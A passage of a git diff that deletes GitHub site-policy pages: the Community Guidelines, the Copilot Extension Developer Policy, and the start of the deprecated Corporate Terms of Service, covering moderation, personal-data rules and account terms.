libelous, defamatory, pornographic, obscene or otherwise objectionable, or violates any party's intellectual property or our Terms of Service. This Code of Conduct describes when we will exercise that discretion. - -### Data Retention and Deletion of Data - -If you're a GitHub user, you may access, update, alter, or delete your basic user profile information by [editing your user profile](https://github.com/settings/profile) or contacting GitHub Support through the [GitHub Support portal](https://support.github.com/). We will retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, will delete your full profile (within reason) within 90 days of your request. For more information please see the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement). diff --git a/content/site-policy/github-terms/github-community-guidelines.md b/content/site-policy/github-terms/github-community-guidelines.md deleted file mode 100644 index 78e400e80053..000000000000 --- a/content/site-policy/github-terms/github-community-guidelines.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: GitHub Community Guidelines -redirect_from: - - /community-guidelines - - /articles/github-community-guidelines - - /github/site-policy/github-community-guidelines - - /github/site-policy/acceptable-use-policies/github-community-guidelines -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -Millions of developers across the world host millions of projects—both open and closed source—on GitHub. We're fortunate to be able to play a part in enabling collaboration across the developer community every day, which is a responsibility we don’t take lightly. Together, we all have the exciting opportunity to make this a community we can be proud of. - -Our diverse user base brings different perspectives, ideas, and experiences, and ranges from people who created their first "Hello World" project last week to the most well-known software developers in the world. We are committed to making GitHub an environment that welcomes all the different voices and perspectives our community has to offer, while maintaining a safe place for developers to do their best work. - -By outlining what we think a [safe, welcoming, and productive community](https://opensource.guide/building-community/) looks like at GitHub, we hope to help you understand how best to interact and collaborate on our platform in line with our [Terms of Service](/site-policy/github-terms/github-terms-of-service) and [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies). - -We encourage our community members to communicate expectations clearly, [moderate](#what-if-something-or-someone-offends-you) their projects where possible, and [report](https://github.com/contact/report-abuse) any content that may violate our [policies](/site-policy/github-terms/github-terms-of-service). GitHub Staff will investigate any reports of abuse, and may moderate public content on our site that we determine to be in violation of our Terms of Service. - -## Maintaining a strong community - -The primary purpose of the GitHub community is to collaborate on software projects. We are committed to maintaining a community where users are free to express themselves and challenge one another's ideas, both technical and otherwise. At the same time, it's important that users remain respectful and allow space for others to contribute openly. In order to foster both a safe and productive environment, we encourage our community members to look to these guidelines to inform how they interact on our platform. Below, you’ll find some suggestions for how to have successful interactions as a valued member of the GitHub community. - -* **Be welcoming and open-minded** - New users join our community each day. Some are well-established developers, while others are just beginning. Be open to other ideas and experience levels. Make room for opinions other than your own and be welcoming to new collaborators and those just getting started. - -* **Be respectful** - Working in a collaborative environment means disagreements may happen. But remember to criticize ideas, not people. Share thoughtful, constructive criticism and be courteous to those you interact with. If you’re unable to engage respectfully, consider taking a step back or using some of our moderation tools to deescalate a tense situation. - -* **Be empathetic** - GitHub is a global community with people from a wide variety of backgrounds and perspectives, many of which may not be your own. Try to put yourself in others’ shoes and understand their feelings before you address them. Do your best to help make GitHub a community where others feel safe to make contributions, participate in discussions, and share different ideas. - -## What if something or someone offends you? - -While some disagreements can be resolved with direct, respectful communication between community members, we understand that is not always the case. We encourage our community to contact GitHub Support through the [GitHub Support portal](https://support.github.com/) when they believe content or activity they’ve encountered violates our policies. However, if you run into something or someone on the site that you find objectionable, here are some ways GitHub enables you to take action: - -* **Communicate expectations** - Maintainers can set community-specific guidelines to help users understand how to interact with their projects, for example, in a repository’s README, [CONTRIBUTING file](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors), or [dedicated code of conduct](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project). You can find additional information on building communities on the [Communities](/communities) page. - -* **Moderate Comments** - Users with [write-access privileges](/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization) for a repository can [edit, delete, or hide anyone's comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments) on commits, pull requests, and issues. Anyone with read access to a repository can view a comment's edit history. Comment authors and people with write access to a repository can also delete sensitive information from a [comment's edit history](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment). Moderating your projects can feel like a big task if there is a lot of activity, but you can [add collaborators](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository#collaborator-access-for-a-repository-owned-by-a-personal-account) to assist you in managing your community. - -* **Lock Conversations**  - If a discussion in an issue, pull request, or commit gets out of hand, off topic, or violates your project’s code of conduct or GitHub’s policies, owners, collaborators, and anyone else with write access can put a temporary or permanent lock on the conversation. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/locking-conversations). - -* **Block Users**  - If you encounter a specific user who you would rather not engage with, you can [block the user from your personal account](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account) or [from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization). - -* **Limit Interactions** - If your public project is getting unwanted attention, being trolled, spammed, or otherwise, you have the option of setting [temporary interaction limits](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) to keep certain users from interacting with your repository. You can even set [code review limits](https://github.blog/2021-11-01-github-keeps-getting-better-for-open-source-maintainers/#preventing-drive-by-pull-request-approvals-and-requested-changes) to ensure quality contributions on your projects. - -While we are passionate about empowering maintainers to moderate their own projects, please contact {% data variables.contact.contact_support %} if you need additional support in dealing with a situation. - -## What happens if someone violates GitHub's policies? - -We rely on reports from the community, as well as proactive detection, to help ensure that GitHub is a safe, welcoming, and productive platform for software developers. There are a variety of factors we consider when we’re made aware of behavior or content not in line with GitHub’s policies. However, our policy enforcement and content moderation approach prioritizes our vision to be the home for all developers. This means: - -* We optimize for code collaboration. We recognize that code can have multiple uses and we distinguish between how the code is being used on the platform and other possible uses. We also think about how our enforcement actions can affect a potentially complicated web of interdependencies across the platform and aim to restrict as little legitimate content as possible. - -* We take a human-centered approach to content moderation and we tailor our responses to meet the needs of a specific situation. Our global team investigates the reports we receive on a case-by-case basis—considering context and the surrounding facts—before taking action. This could include taking into account potentially offensive content being posted in a way that lacks context or makes it easy for other users to unwittingly view or interact with while using GitHub. In those instances, we may favor moderation in order to safeguard our community. - -* Our decisions are rooted in our core belief that serving an interconnected community and empowering human progress through developer collaboration requires a commitment to diversity, inclusion, and belonging. - -Where we have decided that moderation action is warranted, these are some of the ways we may respond: - -* Removing the offending content -* Blocking or disabling the offending content -* Downgrading the visibility of the offending content -* Hiding a user account or organization from public view -* Suspending a user account or organization - -## Appeal and Reinstatement - -If your content or account has been disabled or restricted and you seek reinstatement or wish to appeal, please see our [Appeal and Reinstatement page](/site-policy/acceptable-use-policies/github-appeal-and-reinstatement) for information about the process and use our [Appeal and Reinstatement form](https://support.github.com/contact/reinstatement) to submit a request. - -## Legal Notices - -We dedicate these Community Guidelines to the public domain for anyone to use, reuse, adapt, or whatever, under the terms of [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/). - -These are only guidelines; they do not modify our [Terms of Service](/site-policy/github-terms/github-terms-of-service) and are not intended to be a complete list. Under those terms, GitHub retains full discretion to remove any content or terminate any accounts for activity that violates our [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies). These guidelines describe when we will exercise that discretion. diff --git a/content/site-policy/github-terms/github-copilot-extension-developer-policy.md b/content/site-policy/github-terms/github-copilot-extension-developer-policy.md deleted file mode 100644 index d9a30aa99f5d..000000000000 --- a/content/site-policy/github-terms/github-copilot-extension-developer-policy.md +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: GitHub Copilot Extension Developer Policy -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -> Last Updated: September 6, 2024 - -This Agreement is a legal agreement between you (“You”) and GitHub, Inc. (“GitHub”, “we”, or “us”). By clicking “I Agree”, you’re agreeing to be bound by all the terms of this Agreement. If you are entering into this Agreement on behalf of a company or other legal entity, you represent that you have the legal authority to bind the entity to this Agreement, in which case “You” will mean the entity you represent. - -GitHub is fortunate to have many developers integrating with the GitHub Copilot Extensibility Platform (“Platform”). We think that’s awesome, and we want to make that experience even better. While we can’t cover every type of GitHub Copilot Extension (“Extension”), we do want to lay some ground rules and policies to ensure that You are developing Your Extension with privacy, safety, transparency, and security at the forefront of the User experience. - -To protect Users, we reserve the right to take any action we deem necessary if an Extension violates the letter or spirit of this Agreement. By “User” we mean any “User” as defined in our Terms of Service (TOS). By “Personal Data” we means any information which relates to an individual “User”, customer or employee which could, alone or together with other information, identify them as well as content, including, but not limited to, code, text, data uploaded, posted, User inputs, and Extension outputs, transmitted or otherwise made available by Users via the Platform. - -## 1. Services - -By using our Platform, you agree to adhere to this policy and all GitHub terms and policies incorporated by reference. You must also adhere to all technical specifications and requirements published by GitHub. GitHub may update this Agreement and any requirements at any time, and you should periodically review this Agreement and all technical specifications and requirements to ensure compliance with the most recent version. So long as you remain compliant with this Agreement and associated requirements within, we grant you a limited, worldwide, non-exclusive, non-transferable license during the term of the Agreement to access and use the Platform for the purpose of publishing, developing, demonstrating, testing and supporting interoperability and integrations between Your Extension and GitHub Copilot. - -GitHub reserves the right at any time to modify or discontinue, temporarily or permanently, Your access to the Platform (or any part of it) with or without notice. It’s your sole responsibility to ensure that your use of the Platform is compatible with the then-current Platform. Other than the rights we expressly give you in this Agreement or the TOS, We don’t grant you any rights or licenses to GitHub Copilot, or to any other GitHub products or services. - -Violations of this Agreement may result in removing the Extension from the Platform, token revocation, Account or Extension suspension, User notification, legal action or any other action deemed necessary by Us. If requested, You must provide us with proof of compliance with this Agreement. If You violate this Agreement we may or may not provide notice before taking action. Appeals may be submitted via the GitHub Appeal and Reinstatement Process. Please note that we may periodically audit Extensions and collect information about Users using Your Extension. - -## 2. Developing your Extension - -While we want You to develop useful, fun, and interesting Extensions with GitHub Copilot, we want to make sure that our Users receive a safe, secure, productive, and enjoyable experience. When creating Extensions, you must understand the use cases and limitations of GitHub Copilot, and not rely on it for tasks where its use could lead to significant harm. With that in mind, You are required to comply with this Policy and other obligations. - -**Terms of Service:** Your Extension must comply with the GitHub Terms of Service (ToS) including the Acceptable Use Policy. - -**Security:** We take the security of Personal Data seriously and you must as well. As you develop your Extension, You must properly configure your systems to protect Personal Data and ensure that any stored Personal Data is encrypted. Furthermore, Extensions and developers must not: - -* Degrade or compromise security -* Bypass or circumvent protocols and access controls -* Use unpublished APIs -* Mislead and/or deceive Users about Extension functionality, performance, origin or Personal Data use -* Transmit any viruses or other code that may damage, detrimentally interfere with, surreptitiously intercept or expropriate any system or Personal Data -* Attempt to reverse engineer or otherwise derive source code, trade secrets, or know-how of the Platform or any portion thereof - -**Use of Personal Data:** Protecting User privacy is paramount at GitHub, and must be for you. You are responsible for good Personal Data practices. You do not have independent rights to any Personal Data. In accordance with this, Extensions and developers are prohibited from: - -* Collecting, storing, and using Personal Data without obtaining proper User consent -* Utilizing Personal Data to contact Users. You must gain permission through a clear and separate permissions process to contact Users outside of GitHub. Contacting Users is limited to emergencies in which the User’s safety and security is at risk and in compliance with the law -* Requesting Users to provide sensitive, private, and confidential information, such as credit card numbers or passwords except when specifically necessary for the legitimate purpose of the Extension -* Renting, selling or sharing Personal Data with third parties under any circumstances -* Developing Extensions that encourage Users to circumvent or interfere with their own workplace and employer data, privacy and security policies -* Using Personal Data to create User profiles beyond what is necessary for the Extension to function -* Ignoring a User’s request for deletion. When a User deletes your Extension, if you discontinue Your Extension, or Your Extension is removed you must delete all associated Personal Data within thirty days -* Merging Personal Data with data gathered from other sources for purposes unrelated to the use of the Extension including building databases or otherwise creating copies of any Personal Data accessed or obtained using the Platform -* Failing to notify Users about privacy and their Personal Data. You must provide Users an easily accessible and publicly-available privacy policy that explains how the Extension collects, uses, processes and stores Personal Data, and what control Users have over their Personal Data -* Accessing Data for surveillance purposes. You may not allow or assist any entity to conduct surveillance or obtain Personal Data using your access to the Platform -* Otherwise exploiting Personal Data in a way not approved by GitHub and not disclosed to and permitted by Users. You may, however, use Data that is both aggregated and anonymized for purposes of analytics and development related to the Extension - -**Law and Safety:** Extensions should not create unsafe environments or hardships for Users. Each Extension must comply with all applicable laws and legal requirements in all locations where it is made available to Users. In addition, Extensions and developers are prohibited from: - -* Inferring people’s emotional states from their physical, physiological, or behavioral characteristics -* Inferring people’s sensitive attributes such as gender, race, nationality, religion, or specific age (not including age range, position of mouth (e.g., smile or frown), and hair color) -* Categorizing people based on their biometric data or to infer characteristics or affiliations about them such as race, political opinions, trade union membership, religious or philosophical beliefs, or sex life or sexual orientation -* Social scoring or predictive profiling that would lead to discriminatory, unfair, biased, detrimental, unfavorable, or harmful treatment of certain persons or groups of persons -* Exploiting any of the vulnerabilities of a person (e.g., age, disability, or socio-economic situation) -* For any real-time facial recognition technology on mobile cameras used by any law enforcement globally to attempt to identify individuals in uncontrolled, "in the wild" environments, which includes (without limitation) police officers on patrol using body-worn or dash-mounted cameras using facial recognition technology to attempt to identify individuals present in a database of suspects or prior inmates -* Without the individual’s valid consent, for ongoing surveillance or real-time or near real-time identification or persistent tracking of the individual using any of their personal information, including biometric data - -**Transparency:** GitHub Copilot is a generative artificial intelligence (AI) tool intended to increase developer productivity. You must inform Users of Your Extensions intended use cases, best practices, and limitations as well as when they are interacting with generative AI content. Furthermore, Extensions and developers must: - -* Test the Extension to ensure outputs do not violate this Agreement -* Provide a mechanism for Users to report feedback to You and GitHub related to errors, bugs, improper, or undesired outputs -* Inform Users of Extension capabilities so that Users can provide the appropriate level of human oversight -* Request only the appropriate and necessary permissions and clearly define the need for permissions within your Extension’s description - -## 3. Your GitHub Copilot Extension - -Your Extensions are your responsibility. That means that you’re solely responsible for developing, operating, and maintaining all aspects of your Extensions; ensuring that all materials used with or in your Extensions are legal in all the jurisdictions where your Extensions are used, and don’t promote illegal activities; obtaining any rights or licenses necessary to use and/or distribute any third-party software that you use, include, integrate, or distribute with your Extensions; and providing your end user customers with the same high-quality technical support for your Extensions when they operate in conjunction with the Platform or any other of our products and services as you do when they operate on their own. - -## 4. Marketing and Publicity - -Marketing and publicizing your integrations with GitHub is valuable to both of us. We want to be sure that happens in the right way, so we’ve included some language here to help clarify some basic “dos” and “don’ts”. - -You agree that you won’t make any representations, warranties, guarantees or endorsements to anyone on behalf of GitHub (including, among other things, any GitHub products or services). Unless we specifically say it’s okay you promise not to state or imply that we have developed, endorsed, reviewed or otherwise approved of any of your Extensions. - -If you decide to promote or publicize any of our products or services in connection with your Extensions, you’ll need to make sure that you abide by the terms of this Agreement, the TOS, our trademark policy, and any other applicable GitHub policies. Subject to the terms and conditions of this Agreement and the TOS, and during the term of this Agreement, we grant you a limited, revocable, worldwide, non-exclusive, non-transferable license to use our trademarks, service marks, and logos (collectively, the “GitHub Marks”) in accordance with our trademark policy. - -Except as set forth in this Agreement and the TOS, nothing in this Agreement will be deemed to grant to one party any right, title or interest in or to the other party’s Marks. You agree not to, whether during or after the term of this Agreement: (i) challenge or assist others in challenging the GitHub Marks, or our registration or enforcement of the GitHub Marks; (ii) attempt to adopt, use, apply for, or register any trademark, service mark, logo, URL, Internet domain name, or symbol that is confusingly similar to the GitHub Marks; or (iii) make any negative, false, or disparaging statements (whether written or oral) to any third-party about us, our products, or our services. - -## 5. Pre-Release Materials - -You may get access to special information not available to the rest of the world. Due to the sensitive nature of this information, it’s important for us to make sure that you keep that information secret. - -If We give you any access to pre-release software or related documentation or materials, which may include videos or other forms of content (“Pre-release Materials”), then subject to your compliance with the terms and conditions of this Agreement, the TOS, and Pre-Release License Terms we hereby grant you a nonexclusive, nontransferable, revocable right and license to use the Pre-release Materials solely to support your testing and/or development of Extensions that are designed to operate in combination with the Platform for which the Pre-release Materials are designed. - -## 6. Term and Termination - -You may terminate the Agreement by discontinuing use of the Platform. We may terminate this Agreement for any reason and without notice. This Agreement will terminate immediately, without the requirement of notice, if you breach any term of this Agreement. - -The rights and obligations in Sections 1, 2, 3, 4 (second and last paragraphs), 5, and 7 through 19 of this Agreement will survive the termination of this Agreement. Upon termination of this Agreement all of the rights and licenses we granted you in this Agreement will immediately cease to exist, you will return (or, at our request, destroy) all of our Pre-release materials and any copies (including electronic copies) which are in your possession or control, and you will certify in writing that you’ve complied with these requirements. - -## 7. Warranties and Disclaimers - -You warrant to us that you: (i) have the authority to execute this Agreement and to perform its obligations; (ii) will conduct business in a manner that reflects favorably at all times on GitHub’s products and services and our good name, goodwill and reputation; (iii) will make no false or misleading statements or representations regarding GitHub or our products and services; (iv) will not take on any obligation or responsibility, or make any representation, warranty, guarantee or endorsement to anyone on our behalf (including, without limitation, any of our products or services); and (v) will not state or imply that We have developed, endorsed, reviewed or otherwise approved of any of your Products. - -The Platform and any Pre-release Materials We give You are provided “As Is”, and without warranty of any kind, express or implied. We specifically disclaim any and all implied warranties or conditions of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant that any Service or Products we make available to you will meet Your or Your User’s requirements. - -## 8. Indemnity - -To the maximum extent permitted by applicable law, You agree to defend, indemnify and hold harmless GitHub, its affiliates and their respective directors, officers, employees and agents from and against any and all claims, actions, suits or proceedings, as well as any losses, liabilities, damages, costs and expenses (including reasonable attorneys’ fees) arising from or relating to (a) Your use of the Platform in violation of this Agreement, the Terms or any applicable laws or regulations; (b)Your Extensions that infringe any copyright, trademark, trade secret, patent or other intellectual property right of any third party; (c) any loss or disclosure of data or Personal Data by Your Extension; and (d) Your EULA (or ToS). - -## 9. Limitation of Liability - -Under no circumstances and under no legal theory (whether in contract, tort, negligence or otherwise) will GitHub, or its affiliates, officers, directors, employees, agents, or suppliers be liable to developer or any third party under this agreement for any indirect, incidental, special, exemplary, consequential, punitive or other similar damages, including lost profits, lost sales or business, lost data, business interruption or any other loss incurred by Developer or any third party in connection with this Agreement, regardless of whether Developer has been advised of the possibility of or could have foreseen such damages notwithstanding anything to the contrary in this Agreement, GitHub’s aggregate liability to Developer or any third party arising out of this Agreement shall not exceed $500 (five hundred) USD. - -## 10. Export Control - -You aren’t allowed to export or re-export any of our Pre-release Material, except as authorized by United States law and the laws of the jurisdiction in which the Confidential Information was obtained. In particular, you aren’t allowed to export or re-export our Confidential Information into any U.S. embargoed countries, to anyone on the U.S. Treasury Department's list of Specially Designated Nationals, or to anyone on the U.S. Department of Commerce Denied Person's List or Entity List. By using the Platform or receiving any of our Pre-release Material, you represent and warrant that you are not located in any such country or on any such list. - -## 11. Proprietary Rights - -You agree that GitHub and its licensors own all right, title and interest in and to the Platform, the Pre-release Materials, and all other GitHub Products and Services; all information and data relating to their configurations and combinations; and all modifications to and derivative works of any of the foregoing. You agree not to remove, alter, cover or obfuscate any copyright or other proprietary rights notices we place on or embed in the Platform, the Pre-release Materials, or any other GitHub Products and Services. - -## 12. Government Users - -If you are a Government entity, this Section applies to you. Certain of our Confidential Information may be considered “Commercial Items”, as that term is defined at 48 C.F.R. §2.101, consisting of “Commercial Computer Software” and “Commercial Computer Software Documentation”, as such terms are used in 48 C.F.R. §12.212 or 48 C.F.R. §227.7202, as applicable. Consistent with 48 C.F.R. §12.212 or 48 C.F.R. §227.7202-1 through 227.7202-4, as applicable, the Commercial Computer Software and Commercial Computer Software Documentation are being licensed to U.S. Government end users (a) only as Commercial Items and (b) with only those rights as are granted to all other end users pursuant to the terms and conditions herein. GitHub, Inc. 88 Colin P. Kelly Street, San Francisco, CA 94107. - -## 13. Independent Development - -Nothing in this Agreement will impair our right to develop, acquire, license, market, promote or distribute products, software or technologies that may compete with your Extensions. - -## 14. Feedback - -We’re always trying to improve, and your feedback will help us do that. If you choose to give us feedback, suggestions or recommendations for the Platform or for our Products or Services (collectively, “Feedback”), you acknowledge and agree that we’re free to use that Feedback in any way we want, without restriction (subject to any applicable patents or copyrights, of course). - -## 15. Independent Contractors - -The parties to this Agreement are independent contractors. Neither of us will be deemed to be an employee, agent, partner, franchisor, franchisee or legal representative of the other for any purpose and neither of us will have any right, power or authority to create any obligation or responsibility on behalf of the other. - -## 16. Assignment - -You aren’t allowed to assign or transfer this Agreement, or any of your rights under it, in whole or in part, by operation of law or otherwise, without our prior written consent. - -## 17. Governing Law and Venue - -This Agreement will be interpreted and construed in accordance with the laws of the State of California, without regard to conflict of law principles. All disputes arising out of this Agreement will be subject to the exclusive jurisdiction of the state and federal courts located in San Francisco County, California, and each of us hereby consents to personal jurisdiction there. - -## 18. Amendments; Waivers; No Third-Party Beneficiaries - -This Agreement may not be changed, except by a writing signed by both parties. Any waiver of the provisions of this Agreement or of a party's rights or remedies under this Agreement must be in writing to be effective. If any term, condition, or provision in this Agreement is found to be invalid or unenforceable, the remaining terms will continue to be valid and enforceable to the fullest extent permitted by law. We each expressly agree that there are no third-party beneficiaries to this Agreement. - -## 19. Entire Agreement - -This Agreement and the TOS, contain the entire agreement of the parties with respect to its subject matter and supersede all prior communications, representations, understandings and agreements, whether written or oral. diff --git a/content/site-policy/github-terms/github-corporate-terms-of-service.md b/content/site-policy/github-terms/github-corporate-terms-of-service.md deleted file mode 100644 index 107ee7c4e69e..000000000000 --- a/content/site-policy/github-terms/github-corporate-terms-of-service.md +++ /dev/null @@ -1,371 +0,0 @@ ---- -title: GitHub Corporate Terms of Service -redirect_from: - - /articles/github-corporate-terms-of-service - - /github/site-policy/github-corporate-terms-of-service -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - - -> [!NOTE] -> The GitHub Corporate Terms of Service were deprecated effective 30 November 2021, and are no longer used for new customers. The terms below apply _only_ to those GitHub customers with executed agreements that explicitly reference the Corporate Terms of Service. All other business or institution customers are directed to the GitHub Customer Agreement terms available at [github.com/customer-terms](https://github.com/customer-terms). - -## GitHub Corporate Terms of Service - -Version Effective Date: November 16, 2020 - -This Agreement applies to the following GitHub offerings, as further defined below (collectively, the **“Products”**): -* The Service; -* Any Beta Previews; -* Any related Support; and -* Any related Professional Services. - -## A. Definitions - -**“Affiliate”** means any entity that directly or indirectly controls, is controlled by, or is under common control with a party where "control" means having more than fifty percent (50%) ownership or the right to direct the management of the entity. - -**“Agreement”** means, collectively, all the terms, conditions, notices contained or referenced in this document and all other operating rules, policies and procedures that GitHub may publish from time to time on the Service. GitHub's site policies are available at [https://docs.github.com/categories/site-policy](/site-policy). - -**“All Users”** means, collectively, Customer’s Users and External Users who use the Service. - -**“Americas”** means the United States, Canada, Mexico, or a country in Central or South America or the Caribbean. - -**"Beta Previews"** mean software, services, or features identified as alpha, beta, preview, early access, or evaluation, or words or phrases with similar meanings. - -**"Confidential Information"** means all non-public information disclosed by either Party to the others, whether in writing, orally or by other means, designated as confidential or that the receiving Party knows or reasonably should know, under the circumstances surrounding the disclosure and the nature of the information, is confidential to the disclosing Party. For the avoidance of doubt, no Content posted on the Service will be considered Confidential Information except for Customer Content stored solely in Customer’s Private Repositories. Confidential Information does not include any information that (i) was or becomes publicly known through no fault of the receiving party; (ii) was rightfully known or becomes rightfully known to the receiving Party without confidential or proprietary restriction from a source other than the disclosing party who has a right to disclose it; (iii) is approved by the disclosing Party for disclosure without restriction in a written document which is signed by a duly authorized officer of such disclosing Party; (iv) the receiving Party independently develops without access to or use of the other Party's Confidential Information; or (v) is or has been stored or posted on the Service and outside of Customer’s Private Repositories. - -**"Content"** means, without limitation, code, text, data, articles, images, packages, photographs, graphics, software, applications, designs, features, and other materials that are featured, displayed, or otherwise made available through the Service. - -**"Corporate Account"** means an account created by a User on behalf of an entity. - -**"Customer"** means the company or organization that has entered into this Agreement with GitHub by clicking on the "I AGREE" or similar button or by accessing the Products. - -**"Customer Content"** means Content that Customer creates, owns, or to which Customer holds the rights. - -**"Documentation"** means any manuals, documentation and other supporting materials relating to the Products that GitHub provides or makes available to Customer. - -**"Effective Date"** is the earlier of the date on which Customer (i) clicks “I agree” to the terms and conditions of this Agreement, or (ii) first places an order for the Products. - -**"External User"** means an individual, not including Customer’s Users, who visit or use the Service. - -**"Feedback"** means any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback on GitHub products or services. - -**"Fees"** means the fees Customer is required to pay GitHub to (i) use the Products during the applicable Term or (ii) receive Professional Services, as such fees are reflected on an Order Form or SOW. - -**“Fork”** means to copy the Content of one repository into another repository. - -**“GitHub”** means GitHub, Inc., its Affiliates, and its Representatives. - -**"GitHub Content"** means Content that GitHub creates, owns, or to which it holds the rights. - -**“Machine Account”** means an account registered by an individual human who accepts the applicable terms of service on behalf of the Machine Account, provides a valid email address, and is responsible for its actions. A Machine Account is used exclusively for performing automated tasks. Multiple Users may direct the actions of a Machine Account, but the owner of the account is ultimately responsible for the machine's actions. - -**"Order Form"** means written or electronic documentation (including a quote) that the Parties may use to order the Products. - -**“Organization”** means a shared workspace that may be associated with a single entity or with one or more Users where multiple Users can collaborate across many projects at once. A User can be a member of more than one Organization. - -**“Private Repository”** means a repository which allows a User to control access to Content. - -**"Professional Services"** means training, consulting, or implementation services that GitHub provides to Customer pursuant to a mutually executed SOW. Professional Services do not include Support. - -**“Public Repository”** means a repository whose Content is visible to All Users. - -**"Representatives"** means a Party’s employees, officers, agents, independent contractors, consultants, and legal and financial advisors. - -**“Scraping”** means extracting data from the Service via an automated process, such as a bot or webcrawler, and does not include the collection of information through GitHub's API. - -**"Service"** means GitHub's hosted service and any applicable Documentation. - -**"SOW"** means a mutually executed statement of work detailing the Professional Services GitHub will perform, any related Fees, and each party's related obligations. - -**"Subscription License"** means the license assigned to each User to install, operate, access, and use the Service on Customer’s behalf. Customer may only assign one Subscription License per User across its Organizations. For clarity, once Customer assigns a Subscription License to a User, Customer is prohibited from bifurcating the Subscription License so that one User can use a Subscription License on one Organization while another User uses the same Subscription License on another Organization. - -**“Support”** means technical support for the Service that GitHub may provide. - -**"User"** means an individual or Machine Account who (a) accesses or uses the Service, (b) accesses or uses any part of Customer’s account; or (c) directs the use of Customer’s account in the performance of functions, in each case on Customer’s behalf. The number of Users should not exceed the number of Subscription Licenses that Customer has purchased. - -**“User-Generated Content”** means Content created or owned by a third party or External User. - -## B. Account Terms - -### 1. Account Controls. - -* _Users._ Customer acknowledges that Users retain ultimate administrative control over their individual accounts and the Content within them. [GitHub's Standard Terms of Service](/site-policy/github-terms/github-terms-of-service) govern Users' use of the Service, except with respect to Users' activities under this Section B. - -* _Organizations._ Customer retains ultimate administrative control over any Organization created on Customer’s behalf and User-Generated Content posted to the repositories within its Organization(s), subject to this Section B. This Section B will govern the use of Customer’s Organization(s). - -### 2. Account Requirements - -In order to create an account, Customer must adhere to the following: - -* Customer must not create an account for use of any person under the age of 13. If GitHub learns of any User under the age of 13, it will terminate that User's account immediately. If Customer or its User(s) are located in a country outside the United States, that country's minimum age may be older; in such a case, Customer is responsible for complying with that country's laws. - -* A User’s login may not be shared by multiple people. - -* Customer must not use the Products (a) in violation of export control or sanctions laws of the United States or any other applicable jurisdiction; (b) if it is located in or ordinarily resident in a country or territory subject to comprehensive sanctions administered by the U.S. Office of Foreign Assets Control (OFAC); or (c) if it is or is working on behalf of a [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) or a person subject to similar blocking or denied party prohibitions. For more information, please see our [Export Controls policy](/site-policy/other-site-policies/github-and-trade-controls). - -### 3. Account Security - -Customer is responsible for: (i) all Content posted and activity that occurs under its Corporate Account; (ii) maintaining the security of its account login credentials; and (iii) [promptly notifying GitHub](https://github.com/contact) upon becoming aware of any unauthorized use of, or access to, the Service through its account. GitHub will not be liable for any loss or damage from Customer’s failure to comply with this Section B. - -### 4. Third Party Terms - -In some situations, third parties' terms may apply to Customer's use of GitHub. For example, Customer may be a member of an Organization with its own terms or license agreements; Customer may download an application that integrates with the Service; or Customer may use the Service to authenticate to another service. While this Agreement is GitHub’s full agreement with Customer, other parties' terms govern their relationships with Customer. - -### 5. U.S. Federal Government Terms - -If Customer is a U.S. government entity or otherwise accessing or using the Service in a government capacity, the [U.S. Federal Government Amendment](/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users) applies, and Customer agrees to its provisions. - -### 6. Enterprise Cloud Service Level Agreement - -GitHub’s quarterly uptime commitment for GitHub Enterprise Cloud is provided in the [Enterprise Service Level Agreement](/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement). If Customer signed up for GitHub Enterprise Cloud, then Customer will be entitled to a service credit if GitHub does not meet its service level. - -## C. Compliance with Laws; Acceptable Use; Privacy - -### 1. Compliance with Laws and Regulations - -Customer’s use of the Products must not violate any applicable laws, including copyright or trademark laws, export control laws, or regulations in its jurisdiction. - -### 2. Acceptable Use - -Customer’s use of the Service must comply with [GitHub's Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies) and [GitHub’s Community Guidelines](/site-policy/github-terms/github-community-guidelines). Customer must not use the Service in any jurisdiction for unlawful, obscene, offensive or fraudulent Content or activity, such as advocating or causing harm, interfering with or violating the integrity or security of a network or system, evading filters, sending unsolicited, abusive, or deceptive messages, viruses or harmful code, or violating third party rights. - -### 3. Privacy - -The [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement) and the [GitHub Data Protection Agreement](https://github.com/customer-terms) provide detailed notice of GitHub's privacy and data use practices as well as GitHub's processing and security obligations with respect to Customer Personal Data. Any person, entity, or service collecting data from the Service must comply with the GitHub Privacy Statement, particularly in regards to the collection of personal data (as defined in the GitHub Privacy Statement). If Customer collects any personal information from GitHub, Customer will only use it for the purpose for which the External User has authorized it. Customer will reasonably secure any such Personal Information, and Customer will respond promptly to complaints, removal requests, and "do not contact" requests from GitHub or External Users. - -## D. Content Responsibility; Ownership; License Rights - -### 1. Responsibility for User-Generated Content - -Customer may create or upload User-Generated Content while using the Service. Customer is solely responsible for any User-Generated Content that it posts, uploads, links to or otherwise make available via the Service, regardless of the form of that User-Generated Content. GitHub is not responsible for any public display or misuse of User-Generated Content. - -### 2. Ownership of Content, Right to Post, and License Grants - -Customer retains ownership of Customer Content that Customer creates 